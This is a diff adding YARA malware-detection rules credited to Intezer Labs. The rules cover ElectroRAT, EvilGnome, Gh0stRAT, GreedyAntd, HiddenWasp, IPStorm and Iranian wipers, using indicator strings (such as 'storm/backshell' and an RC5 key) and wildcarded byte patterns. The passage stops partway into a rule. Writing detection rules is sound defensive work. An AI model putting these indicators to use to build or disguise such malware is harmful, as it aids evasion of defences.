+++ b/yara-mikesxrs/Intezer/ElectroRAT
@@ -0,0 +1,21 @@
+rule ElectroRAT
+{
+  strings:
+      $str1 = "registerUser.go"
+      $str2 = "osinfo.go"
+      $str3 = "machineid.go"
+      $str4 = "downloadFile.go"
+      $str5 = "hidefile_windows.go"
+      $str6 = "systemcl.go"
+      $str7 = "bin_linux.go"
+      $str8 = "processKill.go"
+      $str9 = "screenshot.go"
+      $str10 = "uploadFolder.go"
+      $str11 = "bin_windows.go"
+      $str12 = "mdworker.go"
+      $str13 = "bin_darwin.go"
+      $str14 = "hidefile.go"
+
+  condition:
+     3 of them
+}
diff --git a/yara-mikesxrs/Intezer/EvilGnome.yar b/yara-mikesxrs/Intezer/EvilGnome.yar
new file mode 100644
index 0000000..958ec0d
--- /dev/null
+++ b/yara-mikesxrs/Intezer/EvilGnome.yar
@@ -0,0 +1,49 @@
+private rule EvilGnomeDevStrings {
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+		
+	strings:
+		$s1 = "/media/data/work/Rostov"
+		$s2 = "spy/spy-source/spy-agent"
+		$s3 = "spy-binary/Linux/spy-agent-setup-linux.run"
+		$s4 = "spy-build/Linux/spy-agent"
+	condition:
+		1 of them
+}
+
+private rule EvilGnomeRC5Key {
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+    strings:
+        $k1 = "sdg62_AS.sa$die3"
+    condition:
+        all of them
+}
+
+private rule EvilGnomeIntezerVaccine
+{
+	meta:
+		sha256 = "7ffab36b2fa68d0708c82f01a70c8d10614ca742d838b69007f5104337a4b869"
+	strings:
+        $s1 = { 89 ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 31 ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 0F B7 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 77 }
+		$s2 = { 49 ?? ?? 5? 5? 48 ?? ?? 89 ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 31 ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 0F B7 ?? 48 ?? ?? }
+		$s3 = { 89 ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 31 ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 0F B7 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? }
+		$s4 = { 41 ?? 41 ?? 49 ?? ?? 5? 5? 48 ?? ?? 89 ?? 49 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? 64 ?? ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 31 ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 0F B7 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? E8 }
+
+	condition:
+		all of them
+}
+
+rule EvilGnomeYara
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	condition:
+		EvilGnomeRC5Key or EvilGnomeDevStrings or EvilGnomeIntezerVaccine
+}
diff --git a/yara-mikesxrs/Intezer/Gh0stRAT.yar b/yara-mikesxrs/Intezer/Gh0stRAT.yar
new file mode 100644
index 0000000..8fa5e02
--- /dev/null
+++ b/yara-mikesxrs/Intezer/Gh0stRAT.yar
@@ -0,0 +1,37 @@
+rule Intezer_Vaccine_Gh0stRat
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Automatic YARA vaccination rule created based on the file's genes"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2019-10-30"
+		sha256 = "5eeeccb6a48fcaad0fe1c34ff52e241af309bc820b4c7a445c3aca8026da77d5"
+	strings:
+		$4233486_212 = { 8D ?? ?? 5? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 6A ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C1 ?? ?? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? 89 ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$4201392_196 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 5? 8B ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8B ?? 89 ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 6A ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? C6 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4201787_132 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 6A ?? 8B ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D ?? ?? 5? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? C6 ?? ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? C6 ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4202398_128 = { 66 ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F BF ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? E8 }
+		$4202228_113 = { 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? ?? ?? ?? 5? 8D ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? 6A ?? 6A ?? 8D ?? ?? E8 ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 84 }
+		$4202127_97 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$4225201_72 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 5? 83 ?? ?? 5? 5? 5? 89 ?? ?? C7 ?? ?? ?? ?? ?? ?? 8B ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? 05 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? 83 ?? ?? ?? 0F 86 }
+		$4233420_62 = { 5? 8B ?? 6A ?? 68 ?? ?? ?? ?? 64 ?? ?? ?? ?? ?? 5? 64 ?? ?? ?? ?? ?? ?? 81 E? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4206491_45 = { 8B ?? ?? ?? ?? ?? 5? 6A ?? 6A ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$4233167_43 = { 6A ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$4224206_35 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? ?? 8B ?? 83 ?? ?? ?? 0F 84 }
+		$4226055_33 = { 5? 8B ?? 83 ?? ?? 8B ?? ?? 25 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 88 ?? ?? C7 ?? ?? ?? ?? ?? ?? EB }
+		$4233881_32 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 81 C? ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4201240_29 = { 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? 83 ?? ?? ?? 7F }
+		$4201144_22 = { 8B ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 89 ?? ?? 81 7? ?? ?? ?? ?? ?? 7F }
+		$4214828_21 = { 5? 8B ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4215402_17 = { B9 ?? ?? ?? ?? 2B ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 }
+		$4224500_16 = { 8B ?? ?? 8B ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 8D }
+		$4225299_16 = { 6A ?? 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$4206280_15 = { 8B ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+		$4234593_14 = { 8B ?? ?? 8B ?? ?? 3B ?? ?? ?? ?? ?? 0F 8D }
+		$4207137_13 = { 5? 8B ?? 5? 89 ?? ?? 83 ?? ?? ?? 0F 85 }
+		$4205965_12 = { 8B ?? ?? 83 ?? ?? ?? ?? ?? ?? 0F 85 }
+
+	condition:
+		17 of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Intezer/GreedyAntd.yar b/yara-mikesxrs/Intezer/GreedyAntd.yar
new file mode 100644
index 0000000..5d99d89
--- /dev/null
+++ b/yara-mikesxrs/Intezer/GreedyAntd.yar
@@ -0,0 +1,13 @@
+rule GreedyAntd
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a0 = { 66 ?? ?? ?? ?? 49 ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 4C ?? ?? 66 ?? ?? ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? 0F 1F [0-128] F3 ?? ?? ?? ?? ?? F3 ?? ?? ?? ?? ?? 66 ?? ?? ?? ?? 66}
+		$a2 = { E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 74 [0-128] 31 ?? BA ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? E8 ?? ?? ?? ?? BE ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 74 }
+		$a3  = { 8B ?? ?? ?? BE ?? ?? ?? ?? 48 ?? ?? B9 ?? ?? ?? ?? 66 ?? ?? ?? 83 ?? ?? B8 ?? ?? ?? ?? 45 ?? ?? ?? ?? ?? 0F 45 ?? 48 ?? ?? ?? 45 ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? B8 ?? ?? ?? ?? F3 ?? 48 ?? ?? ?? 89 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 44 ?? ?? ?? 48 }
+	condition:
+		any of them
+}
diff --git a/yara-mikesxrs/Intezer/HiddenWasp.yar b/yara-mikesxrs/Intezer/HiddenWasp.yar
new file mode 100644
index 0000000..dc55ea4
--- /dev/null
+++ b/yara-mikesxrs/Intezer/HiddenWasp.yar
@@ -0,0 +1,44 @@
+rule HiddenWasp_Rootkit
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a1 = { FF D? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? 48 ?? ?? ?? 48 ?? ?? ?? ?? 74 [0-128] C6 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? }
+		$a2 = { 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? }
+		$a3 = { 0F B6 ?? 83 ?? ?? 88 ?? 83 [0-128] 8B ?? ?? 3B ?? ?? 0F 82 [0-128] 48 ?? ?? ?? 48 }
+		$a4 = { 74 [0-128] C6 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FF D? }
+		$b0 = { E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 [0-128] C6 ?? ?? ?? ?? ?? ?? FF 7? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? 6A ?? FF D? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? FF D? 83}
+		$b1 = { 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? FF 7? ?? 6A ?? FF D? 83 ?? ?? 89 ?? ?? 83 ?? ?? ?? 0F 84 [0-128] 83 ?? ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? ?? ?? FF 7? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 5? 68 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 83 ?? ?? 83 ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? 8D ?? ?? 5? }
+		$b2 = { 8B ?? ?? 8B ?? ?? 29 ?? 89 ?? 8B ?? ?? F7 ?? 21 ?? 23 ?? ?? 85 ?? 74 [0-128] 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 80 3? ?? 75 [0-128] 8B ?? ?? 8B ?? ?? 29}
+		$b3 = { 8B ?? ?? 29 ?? 89 ?? 8B ?? ?? F7 ?? 21 ?? 23 ?? ?? 85 ?? 74 [0-128] 8B ?? ?? 83 ?? ?? 89 ?? ?? 8B ?? ?? 80 3? ?? 75 [0-128] 8B}
+		$b4 = { 83 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 89 [0-128] 8B ?? ?? 89 ?? 8D ?? ?? FF 0? 8A ?? 88 ?? ?? 8B ?? ?? 89 ?? 8D ?? ?? FF 0? 8A ?? 88 ?? ?? 80 7? ?? ?? 75 [0-128] 8A ?? ??}
+	condition:
+		all of ($a*) or all of ($b*)
+}
+
+rule HiddenWasp_Trojan
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$a0 = { 5? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 29 ?? 89 ?? ?? 89 ?? ?? 8B ?? ?? 8B ?? ?? 29 ?? ?? 29 ?? ?? 83 ?? ?? 8B ?? ?? 8D ?? ?? 89 [0-128] 83 ?? ?? 0F B7 }
+		$a1 = { 31 ?? 89 [0-128] FC 88 ?? 89 ?? 89 ?? F2 ?? F7 ?? 4? 66 ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? 89 ?? 89 ?? F2 ?? F7 ?? 4? 89 ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? 4? 39 ?? ?? ?? ?? ?? 75 [0-128] BB ?? ?? ?? ?? 31 ?? FC 8B ?? ?? ?? ?? ?? 88 ?? 89 ?? F2 ?? F7 ?? 89 ?? ?? ?? ?? ?? 8B ?? ?? 89 ?? F2 ?? F7 ?? 8D ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? 89 ?? ?? ?? ?? ?? 88 ?? 89 ?? 89 ?? F2 ?? 8B ?? ?? ?? ?? ?? F7 ?? 8D ?? ?? ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? FF 7? ?? 5? }
+		$a2 = { FF B? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 74 [0-128] 8D ?? ?? FC 89 ?? BF ?? ?? ?? ?? B9 ?? ?? ?? ?? F3 ?? 75 [0-128] 8B ?? ?? ?? ?? ?? 8B ?? 89 ?? ?? ?? ?? ?? 31 ?? 8B ?? ?? ?? ?? ?? B9 ?? ?? ?? ?? F2 ?? 89 ?? 89 ?? B9 ?? ?? ?? ?? F2 ?? F7 ?? F7 ?? 83 ?? ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? }
+		$a3 = { 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? E8 ?? ?? ?? ?? 5? 5? 5? 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? 89 ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 8D ?? ?? B9 ?? ?? ?? ?? 83 ?? ?? 39 ?? 0F 85 [0-128] 83 ?? ?? 68 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 5? }
+		$a4 = { C6 ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 8B ?? ?? FC 31 ?? B9 ?? ?? ?? ?? F2 ?? 31 ?? F7 ?? 4? 89 ?? 8D ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 39 ?? 66 ?? 88 ?? AA 7D [0-128] 8B ?? ?? ?? ?? ?? C6 ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? BB ?? ?? ?? ?? 31 ?? FC 89 ?? 89 ?? F2 ?? 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? F7 ?? }
+		$a5 = { 81 E? ?? ?? ?? ?? 31 ?? BE ?? ?? ?? ?? FC 88 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? 89 ?? 8B ?? ?? ?? ?? ?? 89 ?? F2 ?? F7 ?? F7 ?? 8D ?? ?? ?? 5? E8 ?? ?? ?? ?? FF 3? ?? ?? ?? ?? FF 3? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? 89 ?? E8 ?? ?? ?? ?? 83 ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 89 ?? 74 [0-128] 5? 68 }
+		$a6 = { 0F 86 [0-128] 31 ?? 83 ?? ?? ?? 0F 86 [0-128] 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 8B ?? ?? 0F B6 ?? ?? ?? D3 ?? 31 ?? 8B ?? ?? 23 ?? ?? 8B ?? ?? 89 ?? ?? 8B ?? ?? 0F B7 ?? ?? 89 ?? ?? }
+		$b0 = { EB [0-128] 8B ?? ?? 3B ?? ?? 7C [0-128] 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? }
+		$b1 = { ?? 48 ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 8B ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? 8B ?? ?? 39 ?? 75 [0-128] E8 ?? ?? ?? ?? 83 ?? ?? 74 [0-128] 48 }
+		$b2 = { 75 [0-128] 48 ?? ?? ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 79 [0-128] 48 }
+		$b3 = { ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 ?? ?? 83 ?? ?? ?? 79 [0-128] 48 ?? ?? ?? E8 ?? }
+		$b4 = { 0F B6 ?? 48 ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 0F B7 ?? 66 ?? ?? 83 [0-128] 8B ?? ?? 3B ?? ?? 7C [0-128] 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? ?? C6 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 8B ?? ?? 01 ?? 48 ?? 48 ?? ?? ?? C6 ?? ?? 48 ?? ?? ?? }
+		$b5 = { ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? B8 ?? ?? ?? ?? FC 48 ?? ?? ?? ?? ?? ?? F2 ?? 48 ?? ?? 48 ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? BE ?? ?? ?? ?? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 48 ?? ?? ?? ?? 75 [0-128] 48 ?? ?? ?? ?? ?? ?? BA ?? }
+
+	condition:
+		all of ($a*) or all of ($b*)
+}
diff --git a/yara-mikesxrs/Intezer/IPStorm.yar b/yara-mikesxrs/Intezer/IPStorm.yar
new file mode 100644
index 0000000..c14d782
--- /dev/null
+++ b/yara-mikesxrs/Intezer/IPStorm.yar
@@ -0,0 +1,18 @@
+rule IPStorm
+{
+	meta:
+		copyright = "Intezer Labs"
+		author = "Intezer Labs"
+		reference = "https://www.intezer.com"
+	strings:
+		$package1 = "storm/backshell"
+		$package2 = "storm/filetransfer"
+		$package3 = "storm/scan_tools"
+		$package4 = "storm/malware-guard"
+		$package5 = "storm/avbypass"
+		$package6 = "storm/powershell"
+		$lib2b = "libp2p/go-libp2p"
+		
+	condition:
+		4 of ($package*) and $lib2b
+}
diff --git a/yara-mikesxrs/Intezer/Iranian_Wipers.yar b/yara-mikesxrs/Intezer/Iranian_Wipers.yar
new file mode 100644
index 0000000..06449e0
--- /dev/null
+++ b/yara-mikesxrs/Intezer/Iranian_Wipers.yar
@@ -0,0 +1,111 @@
+private rule Intezer_Iranian_Wipers1
+{
+	meta:
+		copyright = "Intezer Labs"
+		description = "Automatic YARA vaccination rule created based on the file's genes"
+		author = "Intezer Labs"
+		reference = "https://analyze.intezer.com"
+		date = "2020-01-09"
+	strings:
